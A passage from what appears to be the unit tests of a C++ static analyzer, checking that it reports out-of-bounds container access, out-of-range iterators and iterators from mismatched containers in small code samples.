std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" 